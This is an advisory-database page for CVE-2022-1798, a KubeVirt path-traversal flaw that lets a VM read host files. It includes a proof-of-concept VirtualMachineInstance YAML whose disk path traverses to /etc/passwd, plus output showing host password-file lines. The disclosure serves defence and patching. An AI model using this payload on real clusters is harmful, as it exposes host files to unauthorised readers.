Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1jdng4LXBwbWMtNzhobc4AAuFn

Duplicate Advisory: KubeVirt arbitrary host file read from the VM

Duplicate Advisory

This advisory is a duplicate of GHSA-qv98-3369-g364. This link is maintained to preserve external references.

Original Description

Summary
As part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.

The read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.

Severity

Moderate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.

Proof of Concept

The initial VMI specifications can be written as such to reproduce the issue:


apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  name: vmi-fedora
spec:
  domain:
    devices:
      disks:
      - disk:
          bus: virtio
        name: containerdisk
      - disk:
          bus: virtio
        name: cloudinitdisk
      - disk:
          bus: virtio
        name: containerdisk1
      rng: {}
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0
    name: containerdisk
  - containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0
      path: test3/../../../../../../../../etc/passwd
    name: containerdisk1
  - cloudInitNoCloud:
      userData: |
        #!/bin/sh
        echo 'just something to make cirros happy'
    name: cloudinitdisk


The VMI can then be started through kubectl apply -f vm-test-ncc.yaml.
The requested file is accessible once the VM is up and can be accessed under /dev/vdc.

Depending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure.
Restrictions

SELinux may mitigate this vulnerability.

When using a node with selinux, selinux denies the access and the VM start was aborted:


19s         Warning   SyncFailed                virtualmachineinstance/vmi-fedora    server error. command SyncVMI failed: "preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied"

type=AVC msg=audit(1651828898.296:1266): avc:  denied  { setattr } for  pid=44402 comm="rpc-worker" name="passwd" dev="vda1" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1

After making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:


$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]

Further Analysis
In order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go

Timeline
Date reported: 05/10/2022
Date fixed: N/A
Date disclosed: 08/08/2022

Permalink: https://github.com/advisories/GHSA-cvx8-ppmc-78hm
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdng4LXBwbWMtNzhobc4AAuFn
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: almost 2 years ago
Updated: over 1 year ago

Widthdrawn: almost 2 years ago

CVSS Score: 6.5
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Identifiers: GHSA-cvx8-ppmc-78hm, CVE-2022-1798
References: Repository: https://github.com/kubevirt/kubevirt
Blast Radius: 10.6

Affected Packages

go:kubevirt.io/kubevirt
Dependent packages: 35
Dependent repositories: 43
Downloads:
Affected Version Ranges: >= 0.20.0, < 0.55.1
Fixed in: 0.55.1
All affected versions: 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.20.4, 0.20.5, 0.20.6, 0.20.7, 0.20.8, 0.21.0, 0.22.0, 0.23.0, 0.23.1, 0.23.2, 0.23.3, 0.24.0, 0.25.0, 0.26.0, 0.26.1, 0.26.2, 0.26.3, 0.26.4, 0.26.5, 0.27.0, 0.28.0, 0.29.0, 0.29.1, 0.29.2, 0.30.0, 0.30.1, 0.30.2, 0.30.3, 0.30.4, 0.30.5, 0.30.6, 0.30.7, 0.31.0, 0.32.0, 0.33.0, 0.34.0, 0.34.1, 0.34.2, 0.35.0, 0.36.0, 0.36.1, 0.36.2, 0.36.3, 0.36.4, 0.36.5, 0.37.0, 0.37.1, 0.37.2, 0.37.3, 0.38.0, 0.38.1, 0.38.2, 0.39.0, 0.39.1, 0.39.2, 0.40.0, 0.40.1, 0.41.0, 0.41.1, 0.41.2, 0.41.3, 0.41.4, 0.42.0, 0.42.1, 0.42.2, 0.43.0, 0.43.1, 0.44.0, 0.44.1, 0.44.2, 0.44.3, 0.45.0, 0.45.1, 0.46.0, 0.46.1, 0.47.0, 0.47.1, 0.48.0, 0.48.1, 0.49.0, 0.49.1, 0.50.0, 0.51.0, 0.52.0, 0.53.0, 0.53.1, 0.53.2, 0.54.0, 0.55.0
All unaffected versions: 0.0.2, 0.0.3, 0.0.4, 0.1.0, 0.2.0, 0.3.0, 0.4.0, 0.4.1, 0.5.0, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.7.0, 0.8.0, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.9.6, 0.10.0, 0.11.0, 0.11.1, 0.12.0, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.14.0, 0.15.0, 0.16.0, 0.16.1, 0.16.2, 0.16.3, 0.17.0, 0.17.1, 0.17.2, 0.17.3, 0.17.4, 0.18.0, 0.18.1, 0.19.0, 0.55.1, 0.55.2, 0.56.0, 0.56.1, 0.57.0, 0.57.1, 0.58.0, 0.58.1, 0.58.2, 0.59.0, 0.59.1, 0.59.2, 1.0.0, 1.0.1, 1.1.0, 1.1.1, 1.2.0, 1.2.1